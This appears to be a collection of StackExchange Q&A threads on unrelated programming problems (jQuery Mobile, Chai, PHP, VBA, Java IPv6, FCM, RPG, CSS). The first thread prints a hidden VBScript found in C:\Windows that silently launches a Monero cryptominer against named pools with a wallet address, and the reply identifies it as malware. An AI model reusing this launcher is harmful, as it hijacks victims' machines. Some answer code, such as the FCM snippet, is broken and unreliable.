问:
how to solve the error windows/xdgaudio.vbs
Windows Script Host error.

The content of the C:\Windows\xdgaudio.vbs are as follows.

```<code>Dim WShell
Set WShell = CreateObject("WScript.Shell")
WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -p x -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x", 0
Set WShell = Nothing
</code>```

I attach a picture of the error, please see and give me a solution.

答:
It is indeed a bitcoin miner, thankfully it's a fairly crappy one and very obvious and no more malicious than to run a background process.   Neither of the anti-virus/malware apps I run picked it up though.   Mine was found in a game kids downloaded packed in a setup file.

Anti virus programs should have picked this up easily,  vbs and batch files are so obvious.  Malwarebytes eventually complained about the actual miner .exe file that they call but only after it was running.

Body:
Windows Script Host error.

The content of the C:\Windows\xdgaudio.vbs are as follows.

Dim WShell
Set WShell = CreateObject("WScript.Shell")
WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -p x -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x", 0
Set WShell = Nothing

I attach a picture of the error, please see and give me a solution.


来源: stackexchange

问:
jQuery with jQuery mobile bricks form submission
I am trying to implement a collapsable sidebar with a form (search field and submit button) for my site.

I have referenced as script:

```<code>https://code.jquery.com/jquery-1.11.3.min.js
</code>```

and

```<code>https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js
</code>```

However in this combination the form just wont submit, instead it seems to apply the get parameters to the URL and then fires preventDefault of some sort.
It seems like I am using an old version of jQuery , however when I tried to update to:

```<code>https://code.jquery.com/jquery-3.2.1.min.js
</code>```

I noticed that my collapsable menu wont work anymore and the complete style is broken. Also I cant put it in a fiddle since they are mostly already using jQuery.

Sample 1 (Collapse works but form not):

```<code><html>

<head>
  <title>Test form</title>
  <meta charset="utf-8">
  <script src="https://code.jquery.com/jquery-1.11.3.min.js"></script>
  <script src="https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js"></script>
</head>

<body>
  <div data-role="page" id="about">
    <div data-role="header">
      <h1>Header</h1>
    </div>
    <div data-role="main" class="ui-content">
      <div data-role="collapsible">
        <h1>Search</h1>
        <form method="get">
          <input name="test" type="text">
          <button type="submit">Send</button>
        </form>
      </div>
    </div>
  </div>
</body>

</html>
</code>```

Sample 2 (Form works but Collapse not):

```<code><html>

<head>
  <title>Test form</title>
  <meta charset="utf-8">
  <script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
  <script src="https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js"></script>
</head>

<body>
  <div data-role="page" id="about">
    <div data-role="header">
      <h1>Header</h1>
    </div>
    <div data-role="main" class="ui-content">
      <div data-role="collapsible">
        <h1>Search</h1>
        <form method="get">
          <input name="test" type="text">
          <button type="submit">Send</button>
        </form>
      </div>
    </div>
  </div>
</body>

</html>
</code>```

For the first sample I also tried to declare a input type button instead of submit and trigger it manually using:

```<code>$('#submitbutton').click(function() {
    $('#myform').submit();
});
</code>```

Without success.

Thanks in advance!

答:
It seems like I was misjudging.
With jQuery mobile comes alot of automatically introduced features for e.g. submitting a form in the background using XHR request and not reloading the site.

Imho they should make this a little bit clearer as I had a hard time figuring this issue out. Solution is: for `s or 's you DONT want to be loaded in background, add the tag: data-ajax="false" like so:

```<code><form action="#" method="get" data-ajax="false">

<a href="" data-ajax="false">
</code>```

Hope this helps someone.

ContentLicense: CC BY-SA 3.0

Body:
I am trying to implement a collapsable sidebar with a form (search field and submit button) for my site.

I have referenced as script:

https://code.jquery.com/jquery-1.11.3.min.js

and

https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js

However in this combination the form just wont submit, instead it seems to apply the get parameters to the URL and then fires preventDefault of some sort.
It seems like I am using an old version of jQuery , however when I tried to update to:

https://code.jquery.com/jquery-3.2.1.min.js

I noticed that my collapsable menu wont work anymore and the complete style is broken. Also I cant put it in a fiddle since they are mostly already using jQuery.

Sample 1 (Collapse works but form not):

  <title>Test form</title>
  <meta charset="utf-8">

Header

Search

        <form method="get">
          <input name="test" type="text">
          <button type="submit">Send</button>
        </form>

Sample 2 (Form works but Collapse not):

  <title>Test form</title>
  <meta charset="utf-8">

Header

Search

        <form method="get">
          <input name="test" type="text">
          <button type="submit">Send</button>
        </form>

For the first sample I also tried to declare a input type button instead of submit and trigger it manually using:

$('#submitbutton').click(function() {
    $('#myform').submit();
});

Without success.

Thanks in advance!

Body:
It seems like I was misjudging.
With jQuery mobile comes alot of automatically introduced features for e.g. submitting a form in the background using XHR request and not reloading the site.

Imho they should make this a little bit clearer as I had a hard time figuring this issue out. Solution is: for `s or 's you DONT want to be loaded in background, add the tag: data-ajax="false" like so:

<form action="#" method="get" data-ajax="false">

<a href="" data-ajax="false">

Hope this helps someone.


问:
Chai deep equal not working
I'm trying to use Chai, but I cannot get the deep equal comparison to work for some reason.

This is a minimum example

```<code>var chai = require('chai');
var expect = chai.expect;
...

expect({
    test: {a:2}
    }).to.have.deep.property('test', {a:2});
</code>```

That generates this output

```<code>AssertionError: expected { test: { a: 2 } } to have a deep property 'test' of { a: 2 }, but got { a: 2 }
</code>```

I'm using Chai 3.5.0 and would expect this assertion to be true.

答:
For version 4.0.0 they have changed behavior of '.have.deep'
You can see release notes here

chai releases 4.0.0

I suggest you to update chai if it is possible.

Title: Chai deep equal not working

Body:
I'm trying to use Chai, but I cannot get the deep equal comparison to work for some reason.

This is a minimum example

var chai = require('chai');
var expect = chai.expect;
...

expect({
    test: {a:2}
    }).to.have.deep.property('test', {a:2});

That generates this output

AssertionError: expected { test: { a: 2 } } to have a deep property 'test' of { a: 2 }, but got { a: 2 }

I'm using Chai 3.5.0 and would expect this assertion to be true.


问:
What is an easy way to update PHP from 5.2.0 to 5.2.14 on Debian?
I want to update my version of PHP from 5.2.0 to 5.2.14 (or later, but I don't want to upgrade to 5.3 for compatibilty reasons).

Every guide I find to upgrade PHP is for updating to the last available version, but I dont't find a way to update to a specific version.

The easiest and quickest the solution, the best

答:
I would suggest:

identify php-related packages you installed on the system; packages like php5-cli, php5-cgi, libapache2-php5

Pock around packages.debian.org to see what is the latest available version of php 5.2.

Download these packages manually.

sudo dpkg -i *.deb at the directory you keep the debs

lock the installed version, prevent accidentally upgrade by apt-get upgrade.

There are might be ways to probe versions available using just apt-get, if anyone knows please share.

ContentLicense: CC BY-SA 2.5


问:
Copy from sheet before active worksheet
May I know is there any vba code to copy from previous worksheet(sheet before current worksheet)  to the active worksheet?</p>

答:
try this code:</p>

```<code>Public Sub CpySheet()
    Dim i As Long
    Dim name As String
    name = ActiveSheet.name
    i = ActiveSheet.Index

    Application.DisplayAlerts = False
    Sheets(i).Delete
    Application.DisplayAlerts = True

    Worksheets(i - 1).Copy after:=Worksheets(i - 1)
    Sheets(i).name = name
End Sub
</code>```

Title: Copy from sheet before active worksheet

Body:
try this code:

Public Sub CpySheet()
    Dim i As Long
    Dim name As String
    name = ActiveSheet.name
    i = ActiveSheet.Index

    Application.DisplayAlerts = False
    Sheets(i).Delete
    Application.DisplayAlerts = True

    Worksheets(i - 1).Copy after:=Worksheets(i - 1)
    Sheets(i).name = name
End Sub


问:
How to convert an IPv6 address to a binary string?
How to convert an IPv6 address to a binary string?

Example:

```<code>IPv6:    2001:0db8:85a3:0000:0000:8a2e:0370:7334
Binary:  0010000000000001 0000110110111000 1000010110100011 0000000000000000 0000000000000000 1000101000101110 0000001101110000 0111001100110100
</code>```

I want to do this in Java. Here is my failed attempt (I do not ask for a solution related to this attempt whatsoever):

Implemented in C++, where I am more familiar:

```<code>#include <iostream>
#include <string>

#define _BSD_SOURCE
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

std::string toBinary(unsigned long int decimalIpV6)
{
    std::string r;
    while(decimalIpV6!=0) {r=(decimalIpV6%2==0 ?"0":"1")+r; decimalIpV6/=2;}
    return r;
}

unsigned long int ipV6toDecimal(std::string binaryString) {
    struct sockaddr_in antelope;
    inet_aton(binaryString.c_str(), &antelope.sin_addr); // store IP in antelope
    // and this call is the same as the inet_aton() call, above:
    antelope.sin_addr.s_addr = inet_addr(binaryString.c_str());
    return antelope.sin_addr.s_addr;
}

int main() {
    std::string ipv6 = "192.168.0.0";
    unsigned long int ipv6decimal= ipV6toDecimal(ipv6);
    std::cout << toBinary(ipv6decimal) << std::endl;
    return 0;
}
</code>```

which is buggy and produces a wrong result ("1010100011000000").

PS: There is an IPv6 to Binary calculator online, which might help you when testing.

Body:
How to convert an IPv6 address to a binary string?

Example:

IPv6:    2001:0db8:85a3:0000:0000:8a2e:0370:7334
Binary:  0010000000000001 0000110110111000 1000010110100011 0000000000000000 0000000000000000 1000101000101110 0000001101110000 0111001100110100

I want to do this in Java. Here is my failed attempt (I do not ask for a solution related to this attempt whatsoever):

Implemented in C++, where I am more familiar:

#include <iostream>
#include <string>

#define _BSD_SOURCE
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

std::string toBinary(unsigned long int decimalIpV6)
{
    std::string r;
    while(decimalIpV6!=0) {r=(decimalIpV6%2==0 ?"0":"1")+r; decimalIpV6/=2;}
    return r;
}

unsigned long int ipV6toDecimal(std::string binaryString) {
    struct sockaddr_in antelope;
    inet_aton(binaryString.c_str(), &antelope.sin_addr); // store IP in antelope
    // and this call is the same as the inet_aton() call, above:
    antelope.sin_addr.s_addr = inet_addr(binaryString.c_str());
    return antelope.sin_addr.s_addr;
}

int main() {
    std::string ipv6 = "192.168.0.0";
    unsigned long int ipv6decimal= ipV6toDecimal(ipv6);
    std::cout << toBinary(ipv6decimal) << std::endl;
    return 0;
}

which is buggy and produces a wrong result ("1010100011000000").

PS: There is an IPv6 to Binary calculator online, which might help you when testing.

Body:
Try this solution :

String ipv6 = "2001:0db8:85a3:0000:0000:8a2e:0370:7334";
String[] spl = ipv6.split(":");
String result = "", del = "";
for (String s : spl) {
    result += del
            + String.format("%16s", new BigInteger(s, 16).toString(2)).replace(' ', '0');
    del = " ";
}
System.out.println(result);

If you are using Java 8 you can use :

String result = Stream.of(ipv6.split(":"))
      .map(s -> String.format("%16s", new BigInteger(s, 16).toString(2)).replace(' ', '0'))
      .collect(Collectors.joining(" "));

Output

0010000000000001 0000110110111000 1000010110100011 0000000000000000 0000000000000000 1000101000101110 0000001101110000 0111001100110100


问:
How to iterate arrays in an FCM data payload?
How to get each item if the data payload contains an array? If it was not an array, I could retrieve the value in override fun onMessageReceived(remoteMessage: RemoteMessage?) by remoteMessage.data.get("item"), but doing the samething on items returned the raw JSON string.

```<code>{
  "to": "/topics/stack",
  "data": {
    "items": [
      {
        "key": "key1",
        "title": "Hello world"
      },
      {
        "key": "key2",
        "title": "Hello world 2"
      }
    ]
  }
}
</code>```

答:
```<code>class ItemsModel{
   private String key;
   private String title;
   //getters///
   //setters///
}

String dataMessagePayLoad = remoteMessage.getData();
    if(dataMessagePayLoad!=null){
      private Gson gson = new Gson();
      List<ItemsModel> response = gson.fromJson(dataMessagePayLoad , new TypeToken<List<ItemsModel>>() {
                                }.getType());
    }
</code>```

try using this, i am using the Gson library to convert the json into list

Body:
How to get each item if the data payload contains an array? If it was not an array, I could retrieve the value in override fun onMessageReceived(remoteMessage: RemoteMessage?) by remoteMessage.data.get("item"), but doing the samething on items returned the raw JSON string.

{
  "to": "/topics/stack",
  "data": {
    "items": [
      {
        "key": "key1",
        "title": "Hello world"
      },
      {
        "key": "key2",
        "title": "Hello world 2"
      }
    ]
  }
}

Body:
class ItemsModel{
   private String key;
   private String title;
   //getters///
   //setters///
}

String dataMessagePayLoad = remoteMessage.getData();
    if(dataMessagePayLoad!=null){
      private Gson gson = new Gson();
      List<ItemsModel> response = gson.fromJson(dataMessagePayLoad , new TypeToken<List<ItemsModel>>() {
                                }.getType());
    }

try using this, i am using the Gson library to convert the json into list


问:
Softlayer API suddenly returned 'Order is missing the following category: Operating System' by flavor provision
When I used POST https://api.softlayer.com/rest/v3.1/SoftLayer_Virtual_Guest.json.
wieh paras:

```<code>{
  "parameters": [
    {
      "blockDeviceTemplateGroup": {
        "globalIdentifier": "ea065435-f7ec-4f1c-8f3f-2987086b1427"
      },
      "datacenter": {
        "name": "lon02"
      },
      "dedicatedAccountHostOnlyFlag": false,
      "domain": "softlayer.com",
      "hostname": "test-20171117-034434-485",
      "hourlyBillingFlag": true,
      "localDiskFlag": true,
      "networkComponents": [
        {
          "maxSpeed": 100
        }
      ],
      "primaryBackendNetworkComponent": {
        "networkVlan": {
          "id": 1292651,
          "networkSpace": "PRIVATE"
        }
      },
      "primaryNetworkComponent": {
        "networkVlan": {
          "id": 1292653,
          "networkSpace": "PUBLIC"
        }
      },
      "privateNetworkOnlyFlag": false,
      "supplementalCreateObjectOptions": {
        "flavorKeyName": "BL1_1X2X100"
      }
    }
  ]
}
</code>```

API returned error: SoftLayer_Exception_Public: Order is missing the following category: Operating System. (HTTP 500)

Is is some properties I missed? I verified this method was worked last week.

答: this is an issue with the API, I have already reported the issue some couple ago, but they did not fix it yet. you can report the issue as well by opening a ticket in the control portal</p>

Body:
When I used POST https://api.softlayer.com/rest/v3.1/SoftLayer_Virtual_Guest.json.
wieh paras:

{
  "parameters": [
    {
      "blockDeviceTemplateGroup": {
        "globalIdentifier": "ea065435-f7ec-4f1c-8f3f-2987086b1427"
      },
      "datacenter": {
        "name": "lon02"
      },
      "dedicatedAccountHostOnlyFlag": false,
      "domain": "softlayer.com",
      "hostname": "test-20171117-034434-485",
      "hourlyBillingFlag": true,
      "localDiskFlag": true,
      "networkComponents": [
        {
          "maxSpeed": 100
        }
      ],
      "primaryBackendNetworkComponent": {
        "networkVlan": {
          "id": 1292651,
          "networkSpace": "PRIVATE"
        }
      },
      "primaryNetworkComponent": {
        "networkVlan": {
          "id": 1292653,
          "networkSpace": "PUBLIC"
        }
      },
      "privateNetworkOnlyFlag": false,
      "supplementalCreateObjectOptions": {
        "flavorKeyName": "BL1_1X2X100"
      }
    }
  ]
}

API returned error: SoftLayer_Exception_Public: Order is missing the following category: Operating System. (HTTP 500)

Is is some properties I missed? I verified this method was worked last week.


问:
MongoDb ReplaceOne remove and insert new record or update?
I have 2 services. Both are connected to the same mongodb.

Both use ReplaceOne method, and from time of time I get errors about duplicate key.

I think if ReplaceOne removes record and insert new - it explain my problem...

So... does method ReplaceOne remove record and insert new or update old record?

答:
It seems to me that perhaps your services are removing and inserting the new document at the same time when they are accessed simultaneously and generating with the same id.

I hope I have helped.


问:
One line bash command to find N oldest and newest files in a directory
I have the following command:

```<code>files=$(ls -lhrt dirname) && echo $files | head -5 && echo $files | tail -5
</code>```

The idea is to return the oldest and newest 5 files in a directory dirname. This returns the requested data - however, the lines are jumbled together.

Is there a way to better format the output? (or perhaps a better way to write this functionality)?

答:
Even though it was requested for BASH, I just put here the ZSH line

echo dirname/*(.om[1,5]) dirname/*(.om[-5,-1])

This returns a list of files with the 5 oldest and 5 newest files (based on modification time). Other solutions based on ls -lrth might return directories or links or pipes or anything else.

You can replace echo with anything, but you requested a way to find the files, hence the correct answer in ZSH is the above glob (no echo)

It works like this :

dirname/* : take all mathching strings

( : open glob specifier

. : return only plain files

om : sort them according to modification time

[1,5] return first five or [-5,-1] return last five

) : close the glob specifier

More information on zsh globbing can be found here :
http://www.bash2zsh.com/zsh_refcard/refcard.pdf

Body:
I have the following command:

files=$(ls -lhrt dirname) && echo $files | head -5 && echo $files | tail -5

The idea is to return the oldest and newest 5 files in a directory dirname. This returns the requested data - however, the lines are jumbled together.

Is there a way to better format the output? (or perhaps a better way to write this functionality)?


问:
Error:com.android.tools.aapt2.Aapt2Exception: AAPT2 error: check logs for details
This is the output of my Gradle console, I am unable to build my project

```<code>D:\Android Projects\....\app\src\main\res\layout\topic_view_header.xml
Error:error: resource attr/?? (aka -packagename- :attr/??) not found.
Error:error: resource attr/?? (aka -packagename-:attr/??) not found.
Error:error: resource attr/?? (aka -packagename-:attr/??) not found.
Error:resource attr/?? (aka -packagename-:attr/??) not found.
Error:resource attr/?? (aka -packagename-:attr/??) not found.
Error:resource attr/?? (aka -packagename-:attr/??) not found.
Error:failed linking file resources.
Error:java.util.concurrent.ExecutionException:
java.util.concurrent.ExecutionException:
com.android.tools.aapt2.Aapt2Exception: AAPT2 error: check logs for details
Error:java.util.concurrent.ExecutionException:
com.android.tools.aapt2.Aapt2Exception: AAPT2 error: check logs for details
Error:com.android.tools.aapt2.Aapt2Exception: AAPT2 error: check logs for
details
Error:Execution failed for task ':app:processDebugResources'.
> Failed to execute aapt
Information:BUILD FAILED in 27s
Information:11 errors
Information:0 warnings
</code>```

Android Studio 3.0 RC 2

答:
Looks like a resources related error. I would start there.

I got this ("Error:com.android.tools.aapt2.Aapt2Exception: AAPT2 error: check logs for details") first time related to pictures. Resize solved it. Or another time just repaired the links to resources.

Body:
This is the output of my Gradle console, I am unable to build my project

D:\Android Projects\....\app\src\main\res\layout\topic_view_header.xml
Error:error: resource attr/?? (aka -packagename- :attr/??) not found.
Error:error: resource attr/?? (aka -packagename-:attr/??) not found.
Error:error: resource attr/?? (aka -packagename-:attr/??) not found.
Error:resource attr/?? (aka -packagename-:attr/??) not found.
Error:resource attr/?? (aka -packagename-:attr/??) not found.
Error:resource attr/?? (aka -packagename-:attr/??) not found.
Error:failed linking file resources.
Error:java.util.concurrent.ExecutionException:
java.util.concurrent.ExecutionException:
com.android.tools.aapt2.Aapt2Exception: AAPT2 error: check logs for details
Error:java.util.concurrent.ExecutionException:
com.android.tools.aapt2.Aapt2Exception: AAPT2 error: check logs for details
Error:com.android.tools.aapt2.Aapt2Exception: AAPT2 error: check logs for
details
Error:Execution failed for task ':app:processDebugResources'.
> Failed to execute aapt
Information:BUILD FAILED in 27s
Information:11 errors
Information:0 warnings

Android Studio 3.0 RC 2


问:
RPG timestamp validation, is this best practice?
For RPG timestamp validation, is this best practice?  It seem that there should be a way to test using TEST opcode?</p>

```<code>d DateTimeST      S               Z
d Value           S             26A
d*---------------------------------------------------------------------------
c                   Eval      Value = '2017-11-16-09.54.40.840586'
c                   Eval      DateTimeST = %timestamp(Value)
c                   If        %Error
c                   EXSR      DoSometing
c                   ENDIF
c*-------------------------------------------------------------------
c     DoSometing    BEGSR
c                   ENDSR
c*-------------------------------------------------------------------
c                   Eval         *inlr = *on
c                   return
</code>```

答:
Best practice these days looks more like this:

```<code>**free
dcl-s DateTimeSt       Timestamp;
dcl-s Value            Char(26);

Value = '2017-11-16-09.54.40.840586';
test(ze) Value;
if %error;
   DoSomething();
else;
   DateTimeSt = %timestamp(value);
endif;
return;

// Error Proc
dcl-proc DoSomething;
end-proc;
</code>```

The problem I have with MONITOR groups is that they litter your job log with error messages, even if you handle the error, so you need extra code to remove the message from the job log.

Body:
For RPG timestamp validation, is this best practice?  It seem that there should be a way to test using TEST opcode?

d DateTimeST      S               Z
d Value           S             26A
d*---------------------------------------------------------------------------
c                   Eval      Value = '2017-11-16-09.54.40.840586'
c                   Eval      DateTimeST = %timestamp(Value)
c                   If        %Error
c                   EXSR      DoSometing
c                   ENDIF
c*-------------------------------------------------------------------
c     DoSometing    BEGSR
c                   ENDSR
c*-------------------------------------------------------------------
c                   Eval         *inlr = *on
c                   return

Body:
Best practice these days looks more like this:

**free
dcl-s DateTimeSt       Timestamp;
dcl-s Value            Char(26);

Value = '2017-11-16-09.54.40.840586';
test(ze) Value;
if %error;
   DoSomething();
else;
   DateTimeSt = %timestamp(value);
endif;
return;

// Error Proc
dcl-proc DoSomething;
end-proc;

The problem I have with MONITOR groups is that they litter your job log with error messages, even if you handle the error, so you need extra code to remove the message from the job log.


问:
Responsive column for CSS not working
Why does the image not automatically go down if I reduce the width(mobile device)? Is there something wrong with my , @media or something else?

*I tried to make it responsive like bootstrap column. I divide it : twothird and third part, but the third part doesn't go down responsively, stuck on the right side even if I already adjust twothird and third only implemented in device with min-width:601px. Please help.

Thank you in advance.*

html {
   box-sizing : border-box;
}*,
*:before,
*:after {
   box-sizing : inherit;
}

html {
   -ms-text-size-adjust : 100%;
   -webkit-text-size-adjust : 100%;
   overflow-x : hidden;
   min-height: 100%;
   min-width: 100%;
}

html, body {
   font-family : Verdana, sans-serif;
   font-size : 15px;
   line-height : 1.5;
}

body {
   margin : 0;
}

a {
   background-color : transparent;
   -webkit-text-decoration-skip : objects;
   color : inherit;
}

a : active, a : hover {
   outline-width : 0;
}

h1 {
   font-size : 36px;
}

h2 {
   font-size : 30px;
}

h3 {
   font-size : 24px;
}

h4 {
   font-size : 20px;
}

h5 {
   font-size : 18px;
}

h5.italic {
   font-style : italic;
}

h6 {
   font-size : 16px;
}

p {
   color : #757575!important;
}

p.italic {
    font-style : italic;
}

@media (min-width : 993px) {
   .hide-large {
      display : none!important;
   }
}

@media (max-width : 992px) and (min-width : 601px) {
   .hide-medium {
      display : none!important;
   }
}

@media (max-width:600px){
   .hide-small {
      display:none!important;
   } .content-main {
      flex-direction: row;
   }
}

@media (min-width:601px){
   .quarter {
      width : 24.99999%;
   } .third {
      width : 33.33333%;
   } .twothird {
      width : 66.66666%;
   }
}

@media (max-width:992px){
   .content-main {
      margin-left : 0!important;
      margin-right : 0!important;
   }
}

img {
   border-style : none;
}

.theme {
   color : #fff!important;
   background-color : #000000!important;
}

.theme-l1 {
   color : #fff!important;
   background-color : #333333!important;
}

.top,.bottom {
   position : fixed;
   width : 100%;
   z-index : 1;
}

.top {
   top : 0;
}

.bottom {
   bottom : 0;
}

.bar {
   width : 100%;
   overflow : hidden;
}

.container, .panel {
   padding : 0.01em 16px;
   min-height: 50px;
   overflow: hidden;
}

.panel {
   margin-top : 16px;
   margin-bottom : 16px;
}

.bar .bar-item {
   padding : 8px 16px;
   float : left;
   width : auto;
   border : none;
   outline : none;
   display : block;
}

.bar .button {
   white-space : normal;
}

.bar-block .bar-item{
   width : 100%;
   display : block;
   padding : 8px 16px;
   text-align : left;
   border : none;
   outline : none;
   white-space : normal;
   float : none;
}

.button {
   -webkit-touch-callout : none;
   -webkit-user-select : none;
   -khtml-user-select : none;
   -moz-user-select : none;
   -ms-user-select : none;
   user-select : none;
   border : none;
   display : inline-block;
   outline : 0;
   padding : 8px 16px;
   vertical-align : middle;
   overflow : hidden;
   text-decoration : none;
   color : inherit;
   background-color : inherit;
   text-align : center;
   cursor : pointer;
   white-space : nowrap;
}

.button : hover {
   color : #000!important;
   background-color : #ccc!important;
}

.button : disabled{
   cursor : not-allowed;
   opacity : 0.3;
}

.teal {
   color : #fff!important;
   background-color : #009688!important;
}

.teal, .hover-teal : hover {
   color : #fff!important;
   background-color : #009688!important;
}

.white, .hover-white : hover {
   color : #000!important;
   background-color : #fff!important;
}

.margin-top {
   margin-top : 16px!important;
}

.margin-bottom {
   margin-bottom : 16px!important;
}

.margin-left {
   margin-left : 16px!important;
}

.margin-right {
   margin-right : 16px!important;
}

.right {
   float : right!important;
}

.display-container {
   position : relative;
}

.animate-opacity {
   animation : opac 0.8s;
} @keyframes opac {
   from {
      opacity : 0;
   } to {
      opacity : 1;
   }
}

.xlarge {
   font-size : 24px!important;
}

.xxlarge{
   font-size : 36px!important;
}

.left-align {
   text-align : left!important;
}

.center {
   text-align : center!important;
}

.padding-65 {
   padding-top : 65px!important;
   padding-bottom : 65px!important;
}

.padding-64 {
   padding-top : 64px!important;
   padding-bottom : 64px!important;
}

.light-grey, .hover-light-grey : hover {
   color : #000!important;
   background-color : #f1f1f1!important;
}

.bottombar {
   border-bottom : 6px solid #ccc!important;
}

.topbar {
   border-top : 6px solid #ccc!important;
}

.padding-16 {
   padding-top : 16px!important;
   padding-bottom : 16px!important;
}

.padding {
   padding : 8px 16px!important;
}
.quarter, .third,
.twothird {
   float : left;
   width : 100%;
}

.quarter {
   width : 24.99999%;
}

.third {
   width : 33.33333%;
}

.twothird {
   width : 66.66666%;
}

.row-padding,
.row-padding > .quarter,
.row-padding > .third,
.row-padding > .twothird {
   padding : 0 8px;
}

.content{
   max-width : 980px;
   margin : auto;
}

.hide{
   display : none!important;
}

.show {
   display : block!important;
}

.container : after, .container : before,
.panel : after, .panel : before,
.row-padding : after, .row-padding : before,
.bar : before, .bar : after {
   content : "";
   display : table;
   clear : both;
}

.circle {
   border-radius : 50%;
}

.content-main {
   max-width : 1020px;
   margin : auto;
   min-height: 50px;
   overflow: hidden;
}

.leftbar {
   border-left : 6px solid #ccc!important;
}

.serif {
   font-family : serif;
}

.karma {
   font-family :"Karma", sans-serif;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="container row-padding padding-64" id="about">
  <div class="content">
   <div class="twothird">
   <h1 class="xlarge bottombar padding-16">About</h1>
   <h5 class="padding-32">Between art and craft, lies The Chino A Serie.</h5>

      <p class="padding-32">Discover brand new wave of chinoserie inside us, whether you just want an instagenic background for your dayout or appreciate a new beauty, history and art while you sip your Macadamia Coffee or chop the Feast Roasta Lamb. We present you "turn-back time" experience through walking corridor gallery with theme from contemporer to ancient baroque style. Oh, once more! Check out the fusion tile work in the floor of the cafe.</p>

      <h5 class="padding-32 italic">Entre art et artisanat, se trouve La  Chino A Série.</h5>

      <p class="padding-32 italic">Découvrez la toute nouvelle vague de chinoserie en nous, que vous souhaitiez simplement un arrière-plan instagène pour votre journée ou apprécier une nouvelle beauté, histoire et art pendant que vous sirotez votre Macadamia Coffee ou que vous coupez l'agneau Roasta Feast. Nous vous présentons l'expérience du temps de retour à travers la galerie de couloir à pied avec le thème du style contemporain à l'ancien style baroque. Oh, encore une fois! Découvrez le travail de carreaux de fusion dans le plancher du café.</p><br>
   </div><br><br>
   <div class="third center content padding-64">
    <img src="images/TealBird.jpg" alt="chinoiserie" style="width : 90%">
    <div class="panel">
     <p><i class="fa fa-quote-left xxlarge"></i><br>
      <i class="xlarge serif">White becomes teal, Birds free from the tale.
      </i><br>
      <i class="fa fa-quote-right xxlarge"></i>
     </p>
    </div>
   </div>
     </div>
 </div></code>```

答:
You can add clear: both to .thirdcss class where max-width:600px

The clear property specifies on which sides of an element floating
  elements are not allowed to float

I suggest to redesign the html structure (it seems too complexe) or use a framework like bootstrap if you can.

html {
  box-sizing: border-box;
}

*,
*:before,
*:after {
  box-sizing: inherit;
}

html {
  -ms-text-size-adjust: 100%;
  -webkit-text-size-adjust: 100%;
  overflow-x: hidden;
  min-height: 100%;
  min-width: 100%;
}

html,
body {
  font-family: Verdana, sans-serif;
  font-size: 15px;
  line-height: 1.5;
}

body {
  margin: 0;
}

a {
  background-color: transparent;
  -webkit-text-decoration-skip: objects;
  color: inherit;
}

a: active,
a: hover {
  outline-width: 0;
}

h1 {
  font-size: 36px;
}

h2 {
  font-size: 30px;
}

h3 {
  font-size: 24px;
}

h4 {
  font-size: 20px;
}

h5 {
  font-size: 18px;
}

h5.italic {
  font-style: italic;
}

h6 {
  font-size: 16px;
}

p {
  color: #757575!important;
}

p.italic {
  font-style: italic;
}

@media (min-width: 993px) {
  .hide-large {
    display: none!important;
  }
}

@media (max-width: 992px) and (min-width: 601px) {
  .hide-medium {
    display: none!important;
  }
}

@media (max-width:600px) {
  .hide-small {
    display: none!important;
  }
  .content-main {
    flex-direction: row;
  }
  .third {
    clear: both;
  }
}

@media (min-width:601px) {
  .quarter {
    width: 24.99999%;
  }
  .third {
    width: 33.33333%;
  }
  .twothird {
    width: 66.66666%;
  }
}

@media (max-width:992px) {
  .content-main {
    margin-left: 0!important;
    margin-right: 0!important;
  }
}

img {
  border-style: none;
}

.theme {
  color: #fff!important;
  background-color: #000000!important;
}

.theme-l1 {
  color: #fff!important;
  background-color: #333333!important;
}

.top,
.bottom {
  position: fixed;
  width: 100%;
  z-index: 1;
}

.top {
  top: 0;
}

.bottom {
  bottom: 0;
}

.bar {
  width: 100%;
  overflow: hidden;
}

.container,
.panel {
  padding: 0.01em 16px;
  min-height: 50px;
  overflow: hidden;
}

.panel {
  margin-top: 16px;
  margin-bottom: 16px;
}

.bar .bar-item {
  padding: 8px 16px;
  float: left;
  width: auto;
  border: none;
  outline: none;
  display: block;
}

.bar .button {
  white-space: normal;
}

.bar-block .bar-item {
  width: 100%;
  display: block;
  padding: 8px 16px;
  text-align: left;
  border: none;
  outline: none;
  white-space: normal;
  float: none;
}

.button {
  -webkit-touch-callout: none;
  -webkit-user-select: none;
  -khtml-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  border: none;
  display: inline-block;
  outline: 0;
  padding: 8px 16px;
  vertical-align: middle;
  overflow: hidden;
  text-decoration: none;
  color: inherit;
  background-color: inherit;
  text-align: center;
  cursor: pointer;
  white-space: nowrap;
}

.button: hover {
  color: #000!important;
  background-color: #ccc!important;
}

.button: disabled {
  cursor: not-allowed;
  opacity: 0.3;
}

.teal {
  color: #fff!important;
  background-color: #009688!important;
}

.teal,
.hover-teal: hover {
  color: #fff!important;
  background-color: #009688!important;
}
